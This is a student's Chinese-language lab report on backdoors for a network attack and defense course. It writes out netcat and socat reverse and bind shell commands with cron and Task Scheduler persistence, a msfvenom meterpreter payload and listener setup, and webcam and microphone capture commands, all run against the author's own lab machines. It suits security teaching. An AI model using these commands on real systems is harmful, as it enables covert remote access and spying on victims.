文档章节

2018-2019-2 20165114《网络对抗技术》Exp2 后门原理与实践

o
 osc_851bq07r
发布于 2019/03/21 00:55
字数 2669
阅读 34
收藏 0

「深度学习福利」大神带你进阶工程师,立即查看>>>

目录

一、实验准备

二、实验内容

三、基础问题回答

四、实验过程及步骤

五、实验总结与体会

六、实验中遇到的问题与错误。


一、实验准备

1、后门概念

后门就是不经过正常认证流程而访问系统的通道

哪里有后门呢?

  • 编译器留后门
  • 操作系统留后门
  • 最常见的当然还是应用程序中留后门
  • 还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。

一个相对狭义一点的后门的概念:

  • 特指潜伏于操作系统中专门做后门的一个程序,
  • “坏人”可以连接这个程序
  • 远程执行各种指令。
  • 概念和木马有重叠

后门成功的几个必要步骤:

  • 首先得有这么一个程序
  • 其次得放到系统里
  • 再次还得运行起来
  • 最后还得不被本机的恶意代码检测程序发现
  • 也不能被本机的或网络上的防火墙发现

二、实验内容

(1)使用netcat获取主机操作Shell,cron启动

(2)使用socat获取主机操作Shell, 任务计划启动

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

三、基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

  • 当从浏览器中下载文件或者某软件时,经常有捆绑软件被默认勾选,其中可能就会有带有后门的盗版软件或者安装包,可能会在下载过程中下载后门代码。
  • 或者当你点击一个陌生的链接,可能会执行下载的操作,下载一个后门程序到系统中。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

  • Windows
    • 通过任务计划程序。
    • 将后门的程序设置为开机启动,开机即会启动。
    • 与其余的应用程序或者文件等捆绑起来,只要执行这个应用程序,后门就会启动。
  • Linux
    • 利用cron启动,比如程序代码写入每天的凌晨2执行该后门程序。
    • 与其余应用程序或者文件等捆绑启动。

(3)Meterpreter有哪些给你映像深刻的功能?

  • Meterpreter可以成功控制被害主机,获得shell,可完成一系列强大的操作。
  • 还可以打开被害主机的摄像头,拍照、录像、截屏等都可以轻松做到。

(4)如何发现自己系统有没有被安装后门?

安装杀毒软件,为系统查杀病毒或者恶意代码,许多杀毒软件都可以检测出后门脚本。


四、实验过程及步骤

4.1 Netcat

4.1.1使用netcat获取主机操作Shell
**Window10获取Linux的shell**

(1)从实验指导中下载压缩包ncat.rar,并解压,即可使用。

(2)在win10的命令提示符中输入命令ipconfig查看window10的IP地址。

(3)接着输入命令cd ncat---> ncat.exe -l -p 5114,win10打开监听,端口为5114。

(4)在Linux中输入命令nc 192.168.1.173 -e /bin/sh,反弹连接win10.此时的IP地址为win10的IP地址。

(5)win获得一个人linux shell,可运行任何指令。如下图:

4.1.2 cron启动。

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以"man cron"。

(1)windows系统下监听端口5114.

(2)Linux系统下,输入指令crontab -e,crontab指令表示增加一条定时任务,"-e"表示编辑。由于是第一次编辑,故提示选择编辑器,选择3,进入编辑模式。

(3)在最后一行加上55 * * * * /bin/netcat 192.168.1.173 5114 -e /bin/sh,表示每个小时的第55分钟执行后面的那条指令。

(4)这是一个反弹连接式后门,linux在55分钟时连接Windows,监听的windows连接后可获得shell。

4.1.3 使用netcat传输数据。

(1)windows开启监听:ncat.exe -l 5114 (2)linux 连接win10的5114端口:nc 192.168.1.173 5114 (3)建立连接后,就能够成功传输数据啦~ 如下图:

4.2 Socat

4.2.1使用socat获取主机操作Shell, 任务计划启动

socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版.

(1)在windows10中打开控制面板,查看方式选择大图标,点击管理工具

(2)找到任务计划程序,打开。

(3)点击右侧的创建任务,填入名称20165114

(4)新建触发器,开始任务处,选择工作站锁定时

(5)程序或脚本选择socat.exe,添加参数````tcp-listen:1651 exec:cmd.exe:,pty,stderr.将cmd.exe绑定到端口1651```上,同时把cmd.exe的stderr重定向到stdout上,点击确定保存。

(6)可以在上面看到名称为20165114的任务,右键,点击运行,出现一个黑色的弹窗。

(7)在linux的shell中输入指令socat - tcp:172.30.6.18:1651,可以成功获得cmd.exe。


4.3 Meterpreter

后门就是一个程序。传统的理解是:有人编写一个后门程序,大家拿来用。后来有一些牛人呢,就想编写一个平台能生成后门程序。

这个平台呢,把后门的

  • 基本功能(基本的连接、执行指令),
  • 扩展功能(如搜集用户信息、安装服务等功能),
  • 编码模式,
  • 运行平台,
  • 以及运行参数

全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。

典型的平台就包括有:

  • intersect
  • Metaspolit的msfvenom指令
  • Veil-evasion
4.3.1使用msfenom生成后门可执行文件。我们要生成的这个后门程序是Meterpreter。

(1)输入ifconfig查看Linux的IP地址,为172.30.6.19

(2)使用指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.6.19 LPORT=5114 -f exe > 20165114_backdoor.exe生成一个可执行文件。

参数说明 -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中

-e 使用的编码器,用于对shellcode变形,为了免杀

-i 编码器的迭代次数。如上即使用该编码器编码5次

-b badchar是payload中需要去除的字符

LHOST 是反弹回连的IP

LPORT 是回连的端口

-f 生成文件的类型

> 输出到哪个文件

(3)将文件20165114_backdoor.exe复制到Windows10中,可以用netcat将文件传送给Windows10,也可以直接复制试试。

  • 如果使用netcat传送文件20165114_backdoor.exe需要以下几个步骤:

    • 在Windows下执行:ncat.exe -l 5114 > 20165114_backdoor.exe,接受文件。
    • 接下来在linux中执行:nc 192.168.1.173 < 20165114_backdoor.exe,(IP地址为win10 的IP)。
    • 稍等片刻即可成功。

但是Windows10中的杀毒软件会发现并将其删除掉,因为它是个后门程序,我们可以暂时关闭杀毒软件,继续执行。

下图为通过ncat传输成功的文件20165114_backdoor.exe。

4.3.2打开监听进程。

(1)在linux shell中输入msfconsole指令

(2)按照次序输入以下指令,打开监听进程。 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 172.30.6.19 //注意此处应为Linux的IP! set LPORT 5114 //5114为端口号 show options exploit

注意: LHOST需要和上一步生成backdoor.exe的一致,本例中即172.30.6.19; LPORT也需要和上一步生成backdoor.exe的一致,即5114; payload也要一致,即windows/meterpreter/reverse_tcp。

4.3.3在win10中双击20165114_backdoor.exe运行,主动连接。之后成功控制win10!

4.3.4 接下来可以获取目标主机的音频、摄像头等内容,并尝试提权。

(1)得到目标主机的截屏:srceenshot.

(2)使用目标主机的摄像头拍照:webcam_snap.

(3)使用摄像头录像:webcam_stream. (4)录音:record_mic.

最后图片和音频等保存在linux中,如下图:

提权尝试,但是没有成功,原因还在寻找中~


五、实验总结与体会

  • 此次实验通过一个简单的后门实验,让感受到了后门的危害性极强。通过后门和一些恶意软件等,攻击者能够控制我们的电脑,窃取里面的信息等等,受害者毫不知情,黑客就得到了目标主机的控制权。目前的各个手机公司、软件公司等等都拥有这种能力,所以如何防范这类事情的发生也是值得思考的一件事情,利用我们所学的原理和技能,从另一个角度出发,学会发现和阻止后门或许才是我们应该学到的东西吧。
  • 在实践的过程中,我也发现自己的基础知识不够扎实,很多地方的步骤都是根据实践指导和学长学姐的博客来完成的,遇到问题无法继续时,较为被动和易沮丧,没有能够自主独立解决问题的能力。但是在不断地实践中,我也发觉了对于后门原理更加理解了,遇到错误虽然觉得自己很菜但是也在同学的帮助下最终解决了,总之还是受益匪浅吧。无法解决遇到的一些问题,我认为还是对原理和计算机基础知识不够了解,不能从原理出发解决问题。

六、实验中遇到的问题与错误。

错误一:

在使用socat获取shell过程中,出现上图的报错,后来我更改了端口号,由5114改为了16515151等,在我多次尝试后,有时候能成功,但有时候也会仍然报错。如果遇到这种错误,可以试试重启或者换个端口号试试~

错误二:

在输入exploit后,发生handler failed to bind to 170.30.1.119:5114的错误,这是由于我的linux虚拟机IP地址为170.30.1.119,而windows的IP地址为170.30.6.18,两者不在一个网段里,只要对linux的IP地址进行修改,使其为170.30.6.*,再重新试一次即可成功。

下面为解决方案的截图:

手动修改下图的文件后,再进行重启,就会发现IP地址变为我们想要的了~

o
粉丝 0
博文 500
码字总数 0
作品 0
私信 提问
加载中
请先登录后再评论。
Swift百万线程攻破单例(Singleton)模式

一、不安全的单例实现 在上一篇文章我们给出了单例的设计模式,直接给出了线程安全的实现方法。单例的实现有多种方法,如下面: class SwiftSingleton { } 这段代码的实现,在shared中进行条...

一叶博客
2014/06/20
3.4K
16
CSS编译工具--Peaches

Peaches是一个基于Node的CSS编译工具,用于自动合成CSS Sprite。 Peaches 追求简单、自然的CSS书写方式! 大致的工作原理如下: 1. 我们在书写样式时,对每个需要使用背景图片的元素,进行单...

sliuqin
2013/04/12
595
0
浏览器中的scheme解释器--SchemeScript

一个用javascript实现的scheme解释器,可以运行在浏览器中或node.js中。 刚刚看到编译原理与实践第二章,一时兴起,想写个以前就想写的scheme的解释器。昨天晚上开始写,到刚才为止,接近一天...

zoowii
2012/11/01
1.2K
0
SmartGWT学习整理 2、理解核心中的核心DataSource

SmartGWT学习整理 2、理解核心中的核心DataSource DataSource之所以重要,是因为它负责所有的与服务器的数据交互,几乎所有的控件都离不开它。 可以这样说,理解了DataSource就掌握了SmartGW...

st97
2010/11/16
2K
2
基于ExMobi的外卖系统全端开发实践

如今O2O模式已经进入高速发展阶段,这种模式带给人们的方便快捷不仅催生了各种团购业务,更使订餐、外卖这种传统行业得到了新生。 这不禁让笔者也蠢蠢欲动,尤其是现在企业内部很多时候为了方...

nandy007
2015/12/14
1.6K
11

没有更多内容

加载失败,请刷新页面

加载更多

这是对我最大的认可和鼓励

这是程序员cxuan的第18篇原创分享 可能一些小伙伴们不太清楚是怎么回事,是这样的。 我最近肝了三本 PDF,分别是 《Java核心技术总结》、《HTTP核心总结》、《程序员必知的硬核知识》、目录如...

osc_nc5ghpm9
9分钟前
0
0
折叠屏丨华为专家深度解读折叠屏连续性和拖拽适配介绍

折叠屏手机的出现,满足了用户对大屏幕的追求,但卓越的用户体验更离不开应用的适配与功能创新。距离Mate X面世已经一年的时间,应用适配情况如何?在适配过程中有哪些经验可以参考?有没有常...

软件绿色联盟
今天
0
0
一个 static 还能难得住我?

这是程序员cxuan的第15期原创分享 static 是我们日常生活中经常用到的关键字,也是 Java 中非常重要的一个关键字,static 可以修饰变量、方法、做静态代码块、静态导包等,下面我们就来具体聊...

osc_p23q7y3z
11分钟前
0
0
高中生写LOL外挂1年狂赚500万,落网前刚买下120万保时捷...

点击“开发者技术前线”,选择“星标🔝” 在看|星标|留言, 真爱 来源:交汇点| 编辑:可可 2020年3月,泰州姜堰警方接到一起特殊的报警:一名游戏玩家向民警反映,自己在玩英雄联盟对战时输...

开发者技术前线
今天
0
0
一次简单的服务器 cpu 占用率高的快速排查实战

前两天,朋友遇到一个线上 cpu 占用率很高的问题,我们俩一起快速定位并解决了这个问题。在征求朋友同意后,特发此文分享整个过程。本文以对话的形式展开,加上我的内心独白。文中对话与实际...

osc_emo7t12i
12分钟前
0
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部